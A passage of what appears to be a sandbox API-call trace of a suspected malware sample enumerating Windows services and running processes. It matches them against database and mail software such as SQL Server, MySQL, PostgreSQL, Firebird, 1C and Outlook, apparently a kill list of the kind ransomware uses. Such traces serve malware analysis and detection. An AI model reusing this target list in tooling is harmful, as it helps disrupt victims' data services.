lpString2="gpsvc") returned 1 [0170.208] lstrlenW (lpString="iphlpsvc") returned 8 [0170.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.208] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.208] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.209] lstrlenW (lpString="LanmanServer") returned 12 [0170.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.209] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.209] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.209] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.209] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.209] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.209] lstrlenW (lpString="lmhosts") returned 7 [0170.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.209] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.209] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.209] lstrlenW (lpString="MMCSS") returned 5 [0170.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0170.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0170.209] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0170.209] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0170.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0170.210] lstrlenW (lpString="MpsSvc") returned 6 [0170.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.210] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.210] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.210] lstrlenW (lpString="Netman") returned 6 [0170.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0170.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0170.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0170.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0170.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0170.210] lstrlenW (lpString="netprofm") returned 8 [0170.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.210] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.210] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.210] lstrlenW (lpString="NlaSvc") returned 6 [0170.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.210] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.210] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.210] lstrlenW (lpString="nsi") returned 3 [0170.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.210] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.210] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.211] lstrlenW (lpString="PcaSvc") returned 6 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.211] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.211] lstrlenW (lpString="PlugPlay") returned 8 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.211] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.211] lstrlenW (lpString="Power") returned 5 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.211] lstrlenW (lpString="ProfSvc") returned 7 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.211] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.211] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.211] lstrlenW (lpString="RpcSs") returned 5 [0170.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.212] lstrlenW (lpString="SamSs") returned 5 [0170.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.212] lstrlenW (lpString="Schedule") returned 8 [0170.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.212] lstrlenW (lpString="SENS") returned 4 [0170.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.212] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.212] lstrlenW (lpString="Spooler") returned 7 [0170.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.212] lstrlenW (lpString="SysMain") returned 7 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.213] lstrlenW (lpString="Themes") returned 6 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.213] lstrlenW (lpString="TrkWks") returned 6 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0170.213] lstrlenW (lpString="UxSms") returned 5 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0170.213] lstrlenW (lpString="WdiServiceHost") returned 14 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0170.213] lstrlenW (lpString="WdiSystemHost") returned 13 [0170.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.213] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0170.213] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0170.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0170.214] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0170.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.214] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0170.214] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0170.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0170.214] lstrlenW (lpString="Winmgmt") returned 7 [0170.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0170.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0170.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0170.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0170.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0170.214] lstrlenW (lpString="WPDBusEnum") returned 10 [0170.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.214] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0170.214] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0170.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0170.214] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428e0b8 | out: hHeap=0x880000) returned 1 [0170.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0170.216] Process32FirstW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.217] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.217] lstrlenW (lpString="System") returned 6 [0170.217] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0170.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0170.217] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.218] lstrlenW (lpString="smss.exe") returned 8 [0170.218] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0170.218] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.218] lstrlenW (lpString="csrss.exe") returned 9 [0170.218] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.218] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.218] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.218] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.218] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.218] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0170.219] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.219] lstrlenW (lpString="wininit.exe") returned 11 [0170.219] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0170.219] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0170.219] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.219] lstrlenW (lpString="csrss.exe") returned 9 [0170.219] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.220] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.220] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.220] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.220] lstrlenW (lpString="winlogon.exe") returned 12 [0170.220] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.220] lstrlenW (lpString="services.exe") returned 12 [0170.220] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.221] lstrlenW (lpString="lsass.exe") returned 9 [0170.221] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.221] lstrlenW (lpString="lsm.exe") returned 7 [0170.221] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.222] lstrlenW (lpString="svchost.exe") returned 11 [0170.222] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.222] lstrlenW (lpString="svchost.exe") returned 11 [0170.222] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.223] lstrlenW (lpString="svchost.exe") returned 11 [0170.223] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.223] lstrlenW (lpString="svchost.exe") returned 11 [0170.223] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.223] lstrlenW (lpString="svchost.exe") returned 11 [0170.224] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.224] lstrlenW (lpString="audiodg.exe") returned 11 [0170.224] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.224] lstrlenW (lpString="svchost.exe") returned 11 [0170.224] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.225] lstrlenW (lpString="explorer.exe") returned 12 [0170.225] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.225] lstrlenW (lpString="dwm.exe") returned 7 [0170.225] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.226] lstrlenW (lpString="svchost.exe") returned 11 [0170.226] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0170.226] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0170.226] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.226] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.226] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.227] lstrlenW (lpString="reader_sl.exe") returned 13 [0170.227] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.227] lstrlenW (lpString="svchost.exe") returned 11 [0170.227] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.228] lstrlenW (lpString="taskhost.exe") returned 12 [0170.228] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, 